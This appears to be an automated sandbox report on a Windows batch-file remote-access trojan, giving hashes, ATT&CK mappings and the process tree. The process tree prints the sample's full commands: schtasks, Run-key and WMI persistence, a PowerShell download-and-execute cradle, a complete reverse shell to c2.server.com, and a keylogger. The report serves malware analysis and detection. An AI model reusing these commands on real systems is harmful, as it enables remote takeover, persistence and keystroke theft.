d72113eb41721469d72f7dad51cacb85c990b0c0af117ec288cfb6b0ab2dfb4c

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:25

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General

Target
rat_build_84882_014255.bat
Size 4KB
Sample260529-2b33jads9m
SHA256 d72113eb41721469d72f7dad51cacb85c990b0c0af117ec288cfb6b0ab2dfb4c
MD5 be5a574860d1bd37d4780eb0370118e1
SHA1 e37d942a0c9d347458edc222198aaac4e3b038e8
SHA512 c1883641a16d3b6082c9a58952b2d08dd58941629e3a41f8cfe337add4550fa9ba70f981364d7259cddfd426eb6bc972e1533c9a4e768f2106e434250832599d
SSDEEP 96:vIfsWyrEFdUq+qdjd6S5stmYk6qqALdsAHsVCAgfj4TSiFgZk8mvlo1X8p:vGyrE3hwSXHLqs2vsAM7iFgkHl+8p
TLSH
T1FCA1083B9397712099B01919DA32798C535CEAF71315C58DBF48CCC60E4CB4791299E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_84882.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2560	powershell.exe
5484	powershell.exe
6000	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_84882 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_84882.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5144	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1804	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1724	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5772	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2560	powershell.exe
2560	powershell.exe
5484	powershell.exe
5484	powershell.exe
6000	powershell.exe
6000	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2900	WMIC.exe
Token: SeSecurityPrivilege	2900	WMIC.exe
Token: SeTakeOwnershipPrivilege	2900	WMIC.exe
Token: SeLoadDriverPrivilege	2900	WMIC.exe
Token: SeSystemProfilePrivilege	2900	WMIC.exe
Token: SeSystemtimePrivilege	2900	WMIC.exe
Token: SeProfSingleProcessPrivilege	2900	WMIC.exe
Token: SeIncBasePriorityPrivilege	2900	WMIC.exe
Token: SeCreatePagefilePrivilege	2900	WMIC.exe
Token: SeBackupPrivilege	2900	WMIC.exe
Token: SeRestorePrivilege	2900	WMIC.exe
Token: SeShutdownPrivilege	2900	WMIC.exe
Token: SeDebugPrivilege	2900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2900	WMIC.exe
Token: SeRemoteShutdownPrivilege	2900	WMIC.exe
Token: SeUndockPrivilege	2900	WMIC.exe
Token: SeManageVolumePrivilege	2900	WMIC.exe
Token: 33	2900	WMIC.exe
Token: 34	2900	WMIC.exe
Token: 35	2900	WMIC.exe
Token: 36	2900	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2900	WMIC.exe
Token: SeSecurityPrivilege	2900	WMIC.exe
Token: SeTakeOwnershipPrivilege	2900	WMIC.exe
Token: SeLoadDriverPrivilege	2900	WMIC.exe
Token: SeSystemProfilePrivilege	2900	WMIC.exe
Token: SeSystemtimePrivilege	2900	WMIC.exe
Token: SeProfSingleProcessPrivilege	2900	WMIC.exe
Token: SeIncBasePriorityPrivilege	2900	WMIC.exe
Token: SeCreatePagefilePrivilege	2900	WMIC.exe
Token: SeBackupPrivilege	2900	WMIC.exe
Token: SeRestorePrivilege	2900	WMIC.exe
Token: SeShutdownPrivilege	2900	WMIC.exe
Token: SeDebugPrivilege	2900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2900	WMIC.exe
Token: SeRemoteShutdownPrivilege	2900	WMIC.exe
Token: SeUndockPrivilege	2900	WMIC.exe
Token: SeManageVolumePrivilege	2900	WMIC.exe
Token: 33	2900	WMIC.exe
Token: 34	2900	WMIC.exe
Token: 35	2900	WMIC.exe
Token: 36	2900	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5980	WMIC.exe
Token: SeSecurityPrivilege	5980	WMIC.exe
Token: SeTakeOwnershipPrivilege	5980	WMIC.exe
Token: SeLoadDriverPrivilege	5980	WMIC.exe
Token: SeSystemProfilePrivilege	5980	WMIC.exe
Token: SeSystemtimePrivilege	5980	WMIC.exe
Token: SeProfSingleProcessPrivilege	5980	WMIC.exe
Token: SeIncBasePriorityPrivilege	5980	WMIC.exe
Token: SeCreatePagefilePrivilege	5980	WMIC.exe
Token: SeBackupPrivilege	5980	WMIC.exe
Token: SeRestorePrivilege	5980	WMIC.exe
Token: SeShutdownPrivilege	5980	WMIC.exe
Token: SeDebugPrivilege	5980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5980	WMIC.exe
Token: SeRemoteShutdownPrivilege	5980	WMIC.exe
Token: SeUndockPrivilege	5980	WMIC.exe
Token: SeManageVolumePrivilege	5980	WMIC.exe
Token: 33	5980	WMIC.exe
Token: 34	5980	WMIC.exe
Token: 35	5980	WMIC.exe
Token: 36	5980	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5980	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 5772	2112	cmd.exe	87
PID 2112 wrote to memory of 1724	2112	cmd.exe	88
PID 2112 wrote to memory of 2900	2112	cmd.exe	89
PID 2112 wrote to memory of 5980	2112	cmd.exe	90
PID 2112 wrote to memory of 5928	2112	cmd.exe	91
PID 2112 wrote to memory of 1804	2112	cmd.exe	93
PID 2112 wrote to memory of 5144	2112	cmd.exe	101
PID 2112 wrote to memory of 2560	2112	cmd.exe	102
PID 2112 wrote to memory of 5484	2112	cmd.exe	104
PID 2112 wrote to memory of 6000	2112	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_84882_014255.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_84882" /tr "C:\Users\Admin\AppData\Local\Temp\_84882.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5772
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_84882" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_84882.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1724
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_84882", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_84882", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_84882.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5980
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_84882.txt
  2⤵
  PID:5928
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1804
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_84882.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b80d48f8a064a4ba04af91e9898e3587a1d4c4100fc9d1212e7432721b89cbe5
MD5 a18debbdc26ab780c8603da786dadcce
SHA1 0ba572d849e7ade550b4651f06c3440dc28679a8
SHA512 7d52e861981612c7abb92cf80e839068ca6950c6939539b13fd32f86a86ea512184490944070eb82d024fff37a488156c4be5fb8c2c57f6baef1804abc406966
TLSH
T18F117A27F39CC921CC96153A409D9C1172B683D741AEDF9F6FC4D214A17F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 165038c7fcee80623e5b9eea80c99b5a234c2085e6d538d418fc1de4179a5ad7
MD5 da8bbdc92e2fd69d0c54089224137268
SHA1 502f3619e8dd2899499bff21a6e4a3d4fc968e83
SHA512 a6551f4dc74120688f6943b5f80007598320d3cc50629c262c87b8e8ba08eb3613e0ac98d2a46ea7d553e7b706d3e7f6076d3cf7ec924a4b01610c377753efd8
TLSH
T1AA115727B39C89A1CC96113A409D9C1176B683DB40AEDEDF6BC0D214A57F584CB61290
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_g3v3vs13.sn0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3v3vs13.sn0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2560-5-0x000001ADF1D70000-0x000001ADF1D92000-memory.dmp

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